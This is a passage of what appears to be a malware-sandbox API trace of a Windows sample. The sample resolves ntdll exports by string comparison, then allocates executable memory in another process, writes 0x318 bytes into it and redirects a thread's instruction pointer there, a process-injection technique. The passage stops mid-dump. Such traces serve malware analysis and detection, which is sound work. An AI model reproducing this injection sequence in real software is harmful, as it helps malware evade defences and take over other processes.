(lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0042.397] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0042.398] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0042.398] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0042.398] SetFilePointer (in: hFile=0x138, lDistanceToMove=1064612, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103ea4 [0042.398] ReadFile (in: hFile=0x138, lpBuffer=0x27f3e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f418, lpOverlapped=0x0 | out: lpBuffer=0x27f3e0*, lpNumberOfBytesRead=0x27f418*=0x4, lpOverlapped=0x0) returned 1 [0042.399] CloseHandle (hObject=0x138) returned 1 [0042.399] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bdb70 | out: hHeap=0x21c0000) returned 1 [0042.399] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x208) returned 0x25bdb70 [0042.399] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x25bdb70, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0042.399] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrGetProcedureAddress") returned -1 [0042.399] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrGetProcedureAddress") returned -1 [0042.400] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgPrint", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0042.402] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrGetProcedureAddress") returned -1 [0042.403] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd16", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault16", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume16", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetKnownDllSectionHandle", lpString2="LdrGetProcedureAddress") returned -1 [0042.404] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrGetProcedureAddress") returned 0 [0042.405] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0042.405] SetFilePointer (in: hFile=0x138, lDistanceToMove=1064584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103e88 [0042.405] ReadFile (in: hFile=0x138, lpBuffer=0x27f3e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f418, lpOverlapped=0x0 | out: lpBuffer=0x27f3e0*, lpNumberOfBytesRead=0x27f418*=0x4, lpOverlapped=0x0) returned 1 [0042.405] CloseHandle (hObject=0x138) returned 1 [0042.405] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bdb70 | out: hHeap=0x21c0000) returned 1 [0042.405] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x208) returned 0x25bdb70 [0042.405] GetModuleFileNameA (in: hModule=0x77160000, lpFilename=0x25bdb70, nSize=0x104 | out: lpFilename="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0042.405] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwProtectVirtualMemory") returned -1 [0042.405] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwProtectVirtualMemory") returned -1 [0042.406] CreateFileA (lpFileName="C:\\Windows\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0042.406] SetFilePointer (in: hFile=0x138, lDistanceToMove=1070632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x105628 [0042.406] ReadFile (in: hFile=0x138, lpBuffer=0x27f3e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f418, lpOverlapped=0x0 | out: lpBuffer=0x27f3e0*, lpNumberOfBytesRead=0x27f418*=0x4, lpOverlapped=0x0) returned 1 [0042.406] CloseHandle (hObject=0x138) returned 1 [0042.406] HeapFree (in: hHeap=0x21c0000, dwFlags=0x0, lpMem=0x25bdb70 | out: hHeap=0x21c0000) returned 1 [0042.406] RtlAllocateHeap (HeapHandle=0x21c0000, Flags=0x0, Size=0x318) returned 0x25bdb70 [0042.406] NtAllocateVirtualMemory (in: ProcessHandle=0x12c, BaseAddress=0x27eec0*=0x0, ZeroBits=0x0, RegionSize=0x27eec8*=0x318, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x27eec0*=0x30a0000, RegionSize=0x27eec8*=0x1000) returned 0x0 [0042.407] NtGetContextThread (in: ThreadHandle=0x130, Context=0x27ef10 | out: Context=0x27ef10*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x77056520, Rcx=0x0, Rdx=0x771a6930, Rbx=0x0, Rsp=0x6adfef8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x771a6930, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x771a6930, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0042.407] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0042.407] NtWriteVirtualMemory (in: ProcessHandle=0x12c, BaseAddress=0x30a0000, Buffer=0x25bdb70*, NumberOfBytesToWrite=0x318, NumberOfBytesWritten=0x27f400 | out: Buffer=0x25bdb70*, NumberOfBytesWritten=0x27f400*=0x318) returned 0x0 [0042.407] NtSetContextThread (ThreadHandle=0x130, Context=0x27ef10*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100003, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x30a0000, Rcx=0x0, Rdx=0x771a6930, Rbx=0x0, Rsp=0x6adfef8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x771a6930, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x30a0218, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, 